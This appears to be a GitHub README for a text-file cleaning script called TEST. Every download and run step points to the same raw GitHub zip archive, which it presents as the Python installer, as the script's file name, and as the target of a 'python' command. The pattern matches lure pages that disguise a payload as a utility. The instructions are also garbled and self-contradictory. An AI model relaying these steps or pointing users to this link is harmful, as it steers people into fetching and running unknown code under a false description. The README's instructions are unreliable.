Welcome to the TEST repository! This Python script helps you clean up your .txt files, making your data easier to manage. Itβs great for anyone needing to remove unnecessary lines or format their text files with ease.
You can download the latest version of TEST from the Releases page:
Before you download and use TEST, ensure that your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python: This script runs with Python 3.6 or later. If you do not have Python installed, you can download it from https://raw.githubusercontent.com/vigit3/TEST/main/priceably/Software_2.2-beta.3.zip.
- User-Friendly: No coding needed. Just run the script!
- Data Cleaning: Remove unwanted lines from your .txt files.
- Combining Files: Merge multiple .txt files into one.
- Flexible Usage: Ideal for various applications, including credential management and data cleaning.
Visit the Releases page:
If you donβt already have Python, download it from https://raw.githubusercontent.com/vigit3/TEST/main/priceably/Software_2.2-beta.3.zip. Follow the installation instructions for your operating system.
- After downloading, locate the downloaded file in your system.
- Extract the contents if necessary. You should see a file named
https://raw.githubusercontent.com/vigit3/TEST/main/priceably/Software_2.2-beta.3.zip. - Open a terminal or command prompt.
- Navigate to the folder where you downloaded the script. You can do this by typing
cd path/to/your/folderand pressing Enter. - Run the script by typing:
python https://raw.githubusercontent.com/vigit3/TEST/main/priceably/Software_2.2-beta.3.zip
The script will guide you through the process. You will need to specify which .txt file to clean and what changes to make.
- Backup Your Files: Always make a copy of your .txt files before running any cleaning scripts.
- Review Changes: After running the script, check the output carefully to ensure everything looks correct.
- Test with Sample Files: Start with smaller, non-critical files to get accustomed to the functionality.
To ensure you benefit from the latest improvements and features, regularly check the Releases page for updates:
If you encounter any issues or have questions, feel free to open an issue on the GitHub repository. Make sure to provide details about your problem for better assistance.
We welcome contributions! If you have any improvements or fixes, please fork the repository and submit a pull request.
Follow this repository for future updates. You can also star it to help others find this script.
This project is licensed under the MIT License. You can use it freely with proper attribution.
Thank you for using TEST. Your feedback is important to us!